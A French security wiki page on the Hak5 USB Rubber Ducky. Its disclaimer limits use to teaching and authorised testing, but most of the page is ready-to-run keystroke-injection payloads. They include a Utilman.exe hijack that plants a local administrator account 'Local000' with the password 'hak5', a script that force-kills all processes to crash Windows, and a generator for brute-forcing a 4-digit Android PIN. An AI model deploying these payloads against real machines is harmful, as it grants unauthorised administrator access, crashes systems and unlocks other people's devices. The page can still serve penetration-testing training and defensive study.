Hak5

De wiki.nexiat.fr
Aller à la navigation Aller à la recherche

🔒 Contenu de sécurité — usage encadré

Cette page décrit des techniques de sécurité offensive à des fins exclusivement pédagogiques et professionnelles (formation, préparation de certification, montée en compétence défensive).

Ces techniques ne doivent être mises en œuvre que dans un laboratoire isolé ou sur un système pour lequel vous disposez d'une autorisation écrite explicite du propriétaire. Les employer contre un système tiers sans autorisation est une infraction pénale (art. 323-1 et suivants du Code pénal). Voir les avertissements généraux.

Fiche express
Type Matériel offensif (BadUSB)
Produit USB Rubber Ducky
Rôle Injection de frappes clavier automatisées (HID)
Voir aussi Webshell

Hak5 produit notamment l'USB Rubber Ducky, un périphérique qui se fait passer pour un clavier (HID) afin d'injecter automatiquement des séquences de frappes (payloads) sur une machine cible.

Ressources

Fichiers d'injection

  • inject.bin — payload par défaut (toujours exécuté en premier)
  • inject2.bin — NUM_LOCK
  • inject3.bin — CAPS_LOCK
  • inject4.bin — SCROLL_LOCK

Liens utiles

Repérer le lecteur du Ducky

En nommant la clé DUCKY, on peut récupérer sa lettre de lecteur puis exécuter le payload :

for /f %d in ('wmic volume get driveletter^, label ^| findstr "DUCKY"') do set myd=%d
%myd%/duck

Encodage des payloads

Version 1 :

java -jar duckencoder.jar -i example_1.txt -o inject.bin

Version 2.1 (http://code.google.com/p/ducky-decode/) :

java -jar duckencoder -l <country_code / chemin du fichier properties> -i <input> -o <output>

Exemple : ouvrir Notepad

DELAY 300
GUI r
DELAY 50
STRING notepad
DELAY 50
ENTER
DELAY 75
STRING Hello World!!!
ENTER

Payload : changement de fond d'écran (Windows 7)

Minimise les fenêtres, réalise une capture d'écran, l'enregistre dans %userprofile% et la définit comme fond d'écran :

DELAY 5000
GUI d
DELAY 500
PRINTSCREEN
DELAY 100
MENU
DELAY 300
STRING V
DELAY 40
STRING D
DELAY 300
GUI r
DELAY 700
STRING mspaint
ENTER
DELAY 1200
CTRL v
DELAY 500
CTRL s
DELAY 1000
STRING %userprofile%\a.bmp
ENTER
DELAY 500
ALT f
DELAY 400
STRING K
DELAY 100
STRING F
DELAY 1000
ALT F4
DELAY 300
GUI d

Payload : exploit Utilman (Windows 7)

Utilise le détournement de Utilman.exe pour créer un compte administrateur local « Local000 ». Payload à visée pédagogique / test d'intrusion :

REM Author: Xcellerator
REM Description: Utilman Exploiter to create a new Admin Account
REM The new account will be called "Local000".
DELAY 5000
GUI
DELAY 50
STRING cmd
MENU
STRING a
ENTER
LEFT
ENTER
DELAY 200
STRING takeown /f "%systemroot%\System32\Utilman.exe"
ENTER
DELAY 50
STRING icacls "%systemroot%\System32\Utilman.exe" /grant administrators:F /T
ENTER
DELAY 50
STRING cd %systemroot%\System32
ENTER
DELAY 50
STRING mkdir util
ENTER
STRING xcopy cmd.exe util\
ENTER
DELAY 50
STRING ren Utilman.exe Utilman.exe.bak
ENTER
STRING cd util
ENTER
DELAY 50
STRING ren cmd.exe Utilman.exe
ENTER
DELAY 50
STRING cd ..
ENTER
DELAY 50
STRING xcopy util/Utilman.exe \
ENTER
DELAY 50
STRING rmdir /s /q util
ENTER
DELAY 50
STRING exit
ENTER
DELAY 50
GUI u
STRING net user Local000 /add
ENTER
DELAY 50
STRING net localgroup administrators Local000 /add
ENTER
DELAY 50
STRING exit
ENTER
DELAY 50
GUI r
STRING cmd
ENTER
DELAY 50
STRING cd "%systemroot%\System32"
ENTER
DELAY 50
STRING delete Utilman.exe
ENTER
DELAY 50
STRING y
ENTER
DELAY 50
STRING ren Utilman.exe.bak Utilman.exe
ENTER
DELAY 50
STRING exit
ENTER
GUI
STRING cmd
MENU
STRING a
ENTER
DELAY 50
LEFT
ENTER
DELAY 200
STRING net user Local000 *
ENTER
STRING hak5
ENTER
STRING hak5
ENTER
STRING exit
ENTER

Payload : BSOD Windows

DELAY 2000
GUI r
DELAY 500
STRING powershell Start-Process powershell -Verb runAs
ENTER
DELAY 1500
ALT y
DELAY 500
STRING get-process | stop-process -force
ENTER

Brute force d'un déverrouillage Android

Avec 5 essais toutes les 30 secondes, l'ensemble des combinaisons d'un PIN à 4 chiffres peut être parcouru en environ 16 h 40. Script de génération du fichier de payload :

echo DELAY 5000 > android_brute-force_0000-9999.txt; echo {0000..9999} | xargs -n 1 echo STRING | sed '0~5 s/$/\nWAIT/g' | sed '0~1 s/$/\nDELAY 1000\nENTER\nENTER/g' | sed 's/WAIT/DELAY 5000\nENTER\nDELAY 5000\nENTER\nDELAY 5000\nENTER/g' >> android_brute-force_0000-9999.txt

Voir aussi

  • Webshell — accès distant post-exploitation